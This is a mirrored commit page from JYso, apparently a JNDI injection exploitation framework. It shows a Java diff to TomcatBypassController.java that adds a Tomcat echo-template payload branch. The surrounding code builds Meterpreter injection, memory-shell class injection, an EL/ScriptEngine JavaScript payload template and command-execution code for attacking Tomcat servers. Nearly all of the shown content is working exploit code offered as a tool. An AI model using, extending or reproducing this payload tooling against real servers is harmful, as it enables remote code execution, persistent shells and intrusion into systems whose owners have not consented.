archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-24 15:51:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

tomcat修复

Browse Source
This commit is contained in:
qi4L
2024-05-16 16:23:12 +08:00
parent 5e7792ed58
commit 8bb2c43d3b
10 changed files with 129 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java
+10 -1
View File
@@ -8,6 +8,7 @@ import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.echo.TomcatEchoJndi;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -48,7 +49,7 @@ public class TomcatBypassController implements LdapController {
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
Class<?> classQ = Gadgets.createClassT(ClassName1);
Class<?> classQ = Gadgets.createClassT(ClassName1).getClass();
code = InjShell.injectClass(classQ);
}
@@ -60,6 +61,10 @@ public class TomcatBypassController implements LdapController {
code = helper.injectMeterpreter();
}
if (payloadType.contains("TomcatEcho111")) {
code = helper.injectTomcatEchoTemplate();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
@@ -145,6 +150,10 @@ public class TomcatBypassController implements LdapController {
return InjShell.injectClass(ctClazz);
}
public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
return InjShell.injectClass(TomcatEchoJndi.class);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +